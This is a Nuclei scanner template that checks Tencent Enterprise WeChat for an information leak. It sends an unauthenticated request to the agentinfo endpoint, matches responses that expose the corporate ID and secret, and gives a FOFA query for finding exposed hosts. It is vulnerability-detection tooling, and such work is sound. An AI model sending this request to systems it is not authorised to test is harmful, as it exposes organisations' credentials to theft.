nuclei-templates/http/vulnerabilities/wechat/wechat-info-leak.yaml

id: wechat-info-leak

info:
  name: WeChat agentinfo  - Information Exposure
  author: SleepingBag945
  severity: high
  description: |
    There is an information leakage vulnerability in the agentinfo interface of Tencent Enterprise WeChat. An attacker can obtain the Enterprise WeChat Secret through the vulnerability.
  reference:
    - https://github.com/Threekiii/Awesome-POC/blob/f7869eb69bad66d177a88df4cebfe584691651ce/%E5%85%B6%E4%BB%96%E6%BC%8F%E6%B4%9E/%E8%85%BE%E8%AE%AF%20%E4%BC%81%E4%B8%9A%E5%BE%AE%E4%BF%A1%20agentinfo%20%E4%BF%A1%E6%81%AF%E6%B3%84%E6%BC%8F%E6%BC%8F%E6%B4%9E.md
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="wework_admin.normal_layout"
  tags: wechat,exposure,tencent

http:
  - raw:
      - |
        GET /cgi-bin/gateway/agentinfo HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers:
      - type: dsl
        dsl:
          - status_code_1 == 200 && contains(body_1,"errcode") && contains(body_1,"strcorpid")
          - contains(body_1,"corpid")
        condition: and

# digest: 490a0046304402207f486e40109265aad0c4dbad59a5f8796ffbe6ce2d5707c954f4fe749f5f20fa0220570d64485600b1b15c5fd02eadd4efe5a190588c346ac31ee8f25047e7b55b7f:922c64590222798bb761d5b6d8e72950